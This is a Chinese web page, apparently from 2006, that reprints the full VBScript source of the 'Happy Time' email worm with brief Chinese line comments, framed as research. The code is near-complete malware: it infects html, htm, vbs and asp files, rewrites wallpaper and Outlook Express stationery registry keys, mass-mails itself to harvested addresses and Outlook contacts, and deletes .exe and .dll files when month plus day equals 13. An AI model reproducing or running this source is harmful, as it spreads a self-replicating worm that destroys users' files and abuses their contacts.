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欢乐时光病毒原码分析

王朝other·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

本贴内容只用于研究,请看到者帮助他人删除windows的VBS脚本语言,该语言是重大安全漏洞!!!!!!

> <!--

> <script language='VBScript'>

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> Rem I am sorry! happy time

> On Error Resume Next

> mload ----------------------从mload开始罪恶的历程

> Sub mload()

> On Error Resume Next

> mPath = Grf()

> Set Os = CreateObject("Scriptlet.TypeLib")

> Set Oh = CreateObject("Shell.Application")

> If IsHTML Then ----------------------如果本程序是网页,就是在Outlook

> mURL = LCase(document.Location)

> If mPath = "" Then

> Os.Reset

> Os.Path = "C:\Help.htm" ----------------------建立help.htm

> Os.Doc = Lhtml() ------------调入全部源码

> Os.Write() ----------------------存储自身到help.htm

> Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"

> Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)

> Else

> If Iv(mPath, "Help.vbs") Then

> setInterval "Rt()", 10000

> Else

> m = "hta"

> If LCase(m) = Right(mURL, Len(m)) Then

> id = setTimeout("mclose()", 1) ---------调用mclose

> main ----------------进入主程序

> Else

> Os.Reset()

> Os.Path = mPath & "\" & "Help.hta" ------------建立Help.hta文件

> Os.Doc = Lhtml()

> Os.write()

> Iv mPath, "Help.hta"

> End If

> End If

> End If

> Else

> main

> End If

> End Sub

> Sub main() ----------------主程序

> On Error Resume Next

> Set Of = CreateObject("Scripting.FileSystemObject")

> Set Od = CreateObject("Scripting.Dictionary")

> Od.Add "html", "1100"

> Od.Add "vbs", "0100"

> Od.Add "htm", "1100"

> Od.Add "asp", "0010"

> Ks = "HKEY_CURRENT_USER\Software\" -----------------写注册表

> Ds = Grf()

> Cs = Gsf()

> If IsVbs Then

> If Of.FileExists("C:\help.htm") Then

> Of.DeleteFile ("C:\help.htm")

> End If

> Key = CInt(Month(Date) + Day(Date)) ---------------注意:破坏动作

> If Key = 13 Then ---------------如果月日之和等于13

> Od.RemoveAll

> Od.Add "exe", "0001" ---------------删除.exe.dll文件

> Od.Add "dll", "0001"

> End If

> Cn = Rg(Ks & "Help\Count") ------------修改注册表的计数器

> If Cn = "" Then

> Cn = 1

> End If

> Rw Ks & "Help\Count", Cn + 1

> f1 = Rg(Ks & "Help\FileName")

> f2 = FNext(Of, Od, f1)

> fext = GetExt(Of, Od, f2)

> Rw Ks & "Help\FileName", f2

> If IsDel(fext) Then

> f3 = f2

> f2 = FNext(Of, Od, f2)

> Rw Ks & "Help\FileName", f2

> Of.DeleteFile f3

> Else

> If LCase(WScript.ScriptFullname) <> LCase(f2) Then

> Fw Of, f2, fext

> End If

> End If

> If (CInt(Cn) Mod 366) = 0 Then

> If (CInt(Second(Time)) Mod 2) = 0 Then

> Tsend

> Else

> adds = Og

> Msend (adds)

> End If

> End If

> wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") --------此处修改注册表墙纸

> If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then

> If wp = "" Then

> n1 = ""

> n3 = Cs & "\Help.htm" --------如果墙纸为空,直接设定help.htm为墙纸

> Else --------否则修改墙纸文件

> mP = Of.GetFile(wp).ParentFolder -------设定文件名和路径名

> n1 = Of.GetFileName(wp)

> n2 = Of.GetBaseName(wp)

> n3 = Cs & "\" & n2 & ".htm"

> End If

> Set pfc = Of.CreateTextFile(n3, True)

> mt = Sa("1100")

> pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt

> pfc.Close

> Rw Ks & "Help\wallPaper", n3

> Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 --------修改墙纸

> End If

> Else

> Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) -------在此建立vbs文件

> fc.Write Sa("0100")

> fc.Close

> bf = Cs & "\Untitled.htm" ------------修改Outlook Express 信纸文件

> Set fc2 = Of.CreateTextFile(bf, True)

> fc2.Write Lhtml

> fc2.Close

> oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") --------又是注册表

> oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"

> MSH = oe & "\Message Send HTML"

> CUS = oe & "\Compose Use Stationery"

> SN = oe & "\Stationery Name"

> Rw MSH, 1 --------写注册表

> Rw CUS, 1

> Rw SN, bf

> Web = Cs & "\WEB"

> Set gf = Of.GetFolder(Web).Files

> Od.Add "htt", "1100"

> For Each m In gf

> fext = GetExt(Of, Od, m)

> If fext <> "" Then

> Fw Of, m, fext

> End If

> Next

> End If

> End Sub

> Sub mclose() -----------------------close 过程

> document.Write "<" & "title>I am sorry!</title" & ">"

> window.Close

> End Sub

> Sub Rt() -----------------------Rt 过程,调用Help.vbs

> Dim mPath

> On Error Resume Next

> mPath = Grf()

> Iv mPath, "Help.vbs"

> End Sub

> Function Sa(n) -----------------------Sa 函数,返回病毒文本

> Dim VBSText, m

> VBSText = Lvbs()

> If Mid(n, 3, 1) = 1 Then

> m = "<%" & VBSText & "%>"

> End If

> If Mid(n, 2, 1) = 1 Then

> m = VBSText --------------

> End If

> If Mid(n, 1, 1) = 1 Then

> m = Lscript(m)

> End If

> Sa = m & vbCrLf

> End Function

> Sub Fw(Of, S, n) --------------fw 过程,修改文件并发出

> Dim fc, fc2, m, mmail, mt

> On Error Resume Next

> Set fc = Of.OpenTextFile(S, 1)

> mt = fc.ReadAll

> fc.Close

> If Not Sc(mt) Then

> mmail = Ml(mt)

> mt = Sa(n)

> Set fc2 = Of.OpenTextFile(S, 8)

> fc2.Write mt

> fc2.Close

> Msend (mmail)

> End If

> End Sub

> Function Sc(S) ----------------SC 过程,判断是否已感染

> mN = "Rem I am sorry! happy time"

> If InStr(S, mN) > 0 Then

> Sc = True

> Else

> Sc = False

> End If

> End Function

> Function FNext(Of, Od, S) -------------------Fnext函数

> Dim fpath, fname, fext, T, gf

> On Error Resume Next

> fname = ""

> T = False

> If Of.FileExists(S) Then

> fpath = Of.GetFile(S).ParentFolder

> fname = S

> ElseIf Of.FolderExists(S) Then

> fpath = S

> T = True

> Else

> fpath = Dnext(Of, "")

> End If

> Do While True

> Set gf = Of.GetFolder(fpath).Files

> For Each m In gf

> If T Then

> If GetExt(Of, Od, m) <> "" Then

> FNext = m

> Exit Function

> End If

> ElseIf LCase(m) = LCase(fname) Or fname = "" Then

> T = True

> End If

> Next

> fpath = Pnext(Of, fpath)

> Loop

> End Function

> Function Pnext(Of, S) ----------Pnext函数

> On Error Resume Next

> Dim Ppath, Npath, gp, pn, T, m

> T = False

> If Of.FolderExists(S) Then

> Set gp = Of.GetFolder(S).SubFolders

> pn = gp.Count

> If pn = 0 Then

> Ppath = LCase(S)

> Npath = LCase(Of.GetParentFolderName(S))

> T = True

> Else

> Npath = LCase(S)

> End If

> Do While Not Er

> For Each pn In Of.GetFolder(Npath).SubFolders

> If T Then

> If Ppath = LCase(pn) Then

> T = False

> End If

> Else

> Pnext = LCase(pn)

> Exit Function

> End If

> Next

> T = True

> Ppath = LCase(Npath)

> Npath = Of.GetParentFolderName(Npath)

> If Of.GetFolder(Ppath).IsRootFolder Then

> m = Of.GetDriveName(Ppath)

> Pnext = Dnext(Of, m)

> Exit Function

> End If

> Loop

> End If

> End Function

> Function Dnext(Of, S) ---------Dnext函数

> Dim dc, n, d, T, m

> On Error Resume Next

> T = False

> m = ""

> Set dc = Of.Drives

> For Each d In dc

> If d.DriveType = 2 Or d.DriveType = 3 Then

> If T Then

> Dnext = d

> Exit Function

> Else

> If LCase(S) = LCase(d) Then

> T = True

> End If

> If m = "" Then

> m = d

> End If

> End If

> End If

> Next

> Dnext = m

> End Function

> Function GetExt(Of, Od, S) --------------GetExt函数,获得扩展名

> Dim fext

> On Error Resume Next

> fext = LCase(Of.GetExtensionName(S))

> GetExt = Od.Item(fext)

> End Function

> Sub Rw(k, v) -------------Rw过程,写注册表

> Dim R

> On Error Resume Next

> Set R = CreateObject("WScript.Shell")

> R.RegWrite k, v

> End Sub

> Function Rg(v) --------------Rv 函数,读注册表

> Dim R

> On Error Resume Next

> Set R = CreateObject("WScript.Shell")

> Rg = R.RegRead(v)

> End Function

> Function IsVbs() -------------IsVbs函数

> Dim ErrTest

> On Error Resume Next

> ErrTest = WScript.ScriptFullname

> If Err Then

> IsVbs = False

> Else

> IsVbs = True

> End If

> End Function

> Function IsHTML() --------------IsHTML函数

> Dim ErrTest

> On Error Resume Next

> ErrTest = document.Location

> If Er Then

> IsHTML = False

> Else

> IsHTML = True

> End If

> End Function

> Function IsMail(S) -------------IsMail函数

> Dim m1, m2

> IsMail = False

> If InStr(S, vbCrLf) = 0 Then

> m1 = InStr(S, "@")

> m2 = InStr(S, ".")

> If m1 <> 0 And m1 < m2 Then

> IsMail = True

> End If

> End If

> End Function

> Function Lvbs() -------------Lvbs函数,读自身的函数,自我复制的关键步骤

> Dim f, m, ws, Of

> On Error Resume Next

> If IsVbs Then

> Set Of = CreateObject("Scripting.FileSystemObject")

> Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)

> Lvbs = f.ReadAll --------------从vbs文件读入自己的全部

> Else

> For Each ws In document.scripts

> If LCase(ws.Language) = "vbscript" Then --------------从html文件读入自己的全部

> If Sc(ws.Text) Then

> Lvbs = ws.Text

> Exit Function

> End If

> End If

> Next

> End If

> End Function

> Function Iv(mPath, mName) ---------------Iv函数,调用help.vbs

> Dim Shell

> On Error Resume Next

> Set Shell = CreateObject("Shell.Application")

> Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb

> If Er Then

> Iv = False

> Else

> Iv = True

> End If

> End Function

> Function Grf() ---------Grf函数,返回shell路径

> Dim Shell, mPath

> On Error Resume Next

> Set Shell = CreateObject("Shell.Application")

> mPath = "C:\"

> For Each mShell In Shell.NameSpace(mPath).Items

> If mShell.IsFolder Then

> Grf = mShell.Path

> Exit Function

> End If

> Next

> If Er Then

> Grf = ""

> End If

> End Function

> Function Gsf() ---------------Grf函数

> Dim Of, m

> On Error Resume Next

> Set Of = CreateObject("Scripting.FileSystemObject")

> m = Of.GetSpecialFolder(0)

> If Er Then

> Gsf = "C:\"

> Else

> Gsf = m

> End If

> End Function

> Function Lhtml() -------------------Lhtml函数

> Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _

> "<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _

> "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _

> "<" & "/Body></HTML" & ">"

> End Function

> Function Lscript(S) -------------------Lscript函数

> Lscript = "<" & "script language='VBScript'>" & vbCrLf & _

> S & "<" & "/script" & ">"

> End Function

> Function Sl(S1, S2, n) -------------------S1函数

> Dim l1, l2, l3, i

> l1 = Len(S1)

> l2 = Len(S2)

> i = InStr(S1, S2)

> If i > 0 Then

> l3 = i + l2 - 1

> If n = 0 Then

> Sl = Left(S1, i - 1)

> ElseIf n = 1 Then

> Sl = Right(S1, l1 - l3)

> End If

> Else

> Sl = ""

> End If

> End Function

> Function Ml(S) ---------------M1函数

> Dim S1, S3, S2, T, adds, m

> S1 = S

> S3 = """"

> adds = ""

> S2 = S3 & "mailto" & ":"

> T = True

> Do While T

> S1 = Sl(S1, S2, 1)

> If S1 = "" Then

> T = False

> Else

> m = Sl(S1, S3, 0)

> If IsMail(m) Then

> adds = adds & m & vbCrLf

> End If

> End If

> Loop

> Ml = Split(adds, vbCrLf)

> End Function

> Function Og() ---------------Og函数

> Dim i, n, m(), Om, Oo

> Set Oo = CreateObject("Outlook.Application")

> Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items

> n = Om.Count

> ReDim m(n)

> For i = 1 To n

> m(i - 1) = Om.Item(i).Email1Address

> Next

> Og = m

> End Function

> Sub Tsend() ------------------Tsend过程

> Dim Od, MS, MM, a, m

> Set Od = CreateObject("Scripting.Dictionary")

> MConnect MS, MM

> MM.FetchSorted = True

> MM.Fetch

> For i = 0 To MM.MsgCount - 1

> MM.MsgIndex = i

> a = MM.MsgOrigAddress

> If Od.Item(a) = "" Then

> Od.Item(a) = MM.MsgSubject

> End If

> Next

> For Each m In Od.Keys

> MM.Compose

> MM.MsgSubject = "Fw: " & Od.Item(m)

> MM.RecipAddress = m

> MM.AttachmentPathName = Gsf & "\Untitled.htm"

> MM.Send

> Next

> MS.SignOff

> End Sub

> Function MConnect(MS, MM) ------------------MConnect函数

> Dim U

> On Error Resume Next

> Set MS = CreateObject("MSMAPI.MAPISession")

> Set MM = CreateObject("MSMAPI.MAPIMessages")

> U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")

> MS.UserName = U

> MS.DownLoadMail = False

> MS.NewSession = False

> MS.LogonUI = True

> MS.SignOn

> MM.SessionID = MS.SessionID

> End Function

> Sub Msend(Address) -------------------Msend 过程

> Dim MS, MM, i, a

> MConnect MS, MM

> i = 0

> MM.Compose

> For Each a In Address

> If IsMail(a) Then

> MM.RecipIndex = i

> MM.RecipAddress = a

> i = i + 1

> End If

> Next

> MM.MsgSubject = " Help "

> MM.AttachmentPathName = Gsf & "\Untitled.htm"

> MM.Send

> MS.SignOff

> End Sub

> Function Er() --------------------Er函数

> If Err.Number = 0 Then

> Er = False

> Else

> Err.Clear

> Er = True

> End If

> End Function

> Function IsDel(S) -------------------IsDel函数

> If Mid(S, 4, 1) = 1 Then

> IsDel = True

> Else

> IsDel = False

> End If

> End Function

>

>

>

> </script>

>

> -->

>

 
 
 
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